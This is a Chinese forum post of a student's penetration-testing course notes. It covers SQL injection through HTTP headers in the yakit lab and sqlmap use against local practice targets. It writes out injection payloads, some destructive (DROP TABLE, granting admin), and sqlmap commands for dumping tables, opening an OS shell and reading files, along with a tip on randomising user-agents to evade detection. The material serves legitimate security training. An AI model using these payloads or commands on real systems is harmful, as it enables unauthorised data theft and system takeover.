发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-靶场收尾&sqlmap(上)+vulfocus&sqlmap(下)

技术分享 1291 0 2025-4-22 18:28:05
WEB渗透测试工程师系统班250303期
第18节课作业

1.实际操作课堂讲解的yakit sql注入靶场,截图
yakit靶场第20关【基于 Referer 的 SQL 注入】
查询语法:
SELECT * FROM vulin_visitors WHERE last_access_path = '" + path + "';
payload:
' and sleep(2)--


yakit靶场第21关【基于 X-Forwarded-For 的 SQL 注入】
同第20关,传参点不同


yakit靶场第22关【基于 Path 的SQL注入】
同第20关,传参点不同


1. HTTP请求头里,有哪些字段可能会存在sql注入

常见易受SQL注入的HTTP请求头字段
1.User-Agent
用途:标识客户端浏览器或设备。
风险:若服务器将User-Agent直接存入数据库(如日志系统)且未过滤,攻击者可构造恶意值注入SQL代码。
示例攻击:
User-Agent: ' OR 1=1; --

2.Cookie
用途:携带会话ID或用户数据。
风险:若应用直接解析Cookie值并拼接SQL查询(如查询用户权限),可能被注入。
示例攻击:
Cookie: session_id=1'; DROP TABLE users; --

3.Referer
用途:标记请求来源页面。
风险:若服务器记录Referer到数据库(如流量分析),未过滤的输入可能触发注入。
示例攻击:
Referer: https://example.com/' UNION SELECT password FROM users; --

4.X-Forwarded-For
用途:标识客户端原始IP(常用于代理场景)。
风险:若IP地址未经处理直接存入数据库,攻击者可伪造恶意IP注入。
示例攻击:
X-Forwarded-For: 192.168.1.1'; UPDATE users SET is_admin=1 WHERE user='attacker

5.Authorization
用途:携带认证凭据(如Basic Auth)。
风险:若应用解析用户名/密码后直接拼接SQL语句(如登录查询),可能被注入。
示例攻击:
Authorization: Basic ' OR '1'='1

6.Host
用途:指定目标服务器域名。
风险:多租户应用中,若根据Host动态查询租户数据且未过滤,可能被篡改触发注入。
示例攻击:
Host: example.com'; SELECT * FROM sensitive_data; --

7.自定义头部(如X-User-ID、X-API-Key等)
风险:若应用依赖自定义头部值执行数据库操作(如查询用户信息),未过滤时易受攻击。

3.根据课堂讲解及手册,熟练使用sqlmap工具!!(重要!!)

-u URL                目标 URL(例如:"http://www.site.com/vuln.php?id=1")

测试yakit靶场第2关的漏洞
命令:python sqlmap.py -u "http://192.168.10.104:8787/user/id?id=1"






--current-user      获取 DBMS 当前用户

测试:sqli靶场第一关
命令:python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user

结果:current user: 'root@localhost'





--dbs               枚举出 DBMS 所有数据库







-D DB               指定要枚举的 DBMS 数据库
-T TBL              指定要枚举的 DBMS 数据表
-C COL              指定要枚举的 DBMS 数据列

示例:获得表【指定数据库】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables





示例:获得列【指定数据库,指定表】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns






--dump               导出DBMS数据库表项
示例:获得数据【指定数据库,指定表】
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --dump



--is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba



--os-shell          调出交互式操作系统 shell
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell




-r REQUESTFILE      从文件中读取 HTTP 请求
POST传参中使用,请求包复制到文件里保存,注入点后面加个*号
python sqlmap.py -r -test.txt




-m BULKFILE         从文本文件中获取批量目标
--method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)

--cookie=COOKIE     指定 HTTP Cookie

--proxy=PROXY       使用代理连接目标 URL


--user-agent=AGENT  指定 HTTP User-Agent
使用随机UA头,规避强特征




--timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
--retries=RETRIES   连接超时时重试次数(默认为 3)
--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK         设置测试风险等级(1-3,默认为 1)


--file-read=RFILE   读取后端 DBMS 文件系统中的文件
--file-write=WFILE  写入后端 DBMS 文件系统中的文件

脚本使⽤:https://blog.csdn.net/qq_43665434/article/details/117673226


一、笔记标题:WEB渗透系统班-靶场收尾&sqlmap(上)+vulfocus&sqlmap(下)

二、文章内容:

1. 课程内容概要

        主要知识点1:yakit靶场20-22关
        主要知识点2:sqlmap的使用
        主要知识点3:vulfocus 搭建

2.重点知识与细节

        概念解析
        概念1: Web常见漏洞描述及修复建议
                    https://www.cnblogs.com/iAmSoScArEd/p/10651947.html#auto_id_19

        关键步骤
        步骤1:无

        相关代码 无

3.实操练习 和 解析

见作业

4.个人总结

        本节课最大的收获是:学习了SQL注入的更多场景,学习了sqlmap的使用
        仍然存在疑问的地方:sqlmap的更多参数
        需要课后深入学习的内容:sqlmap的各种参数以及应用

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回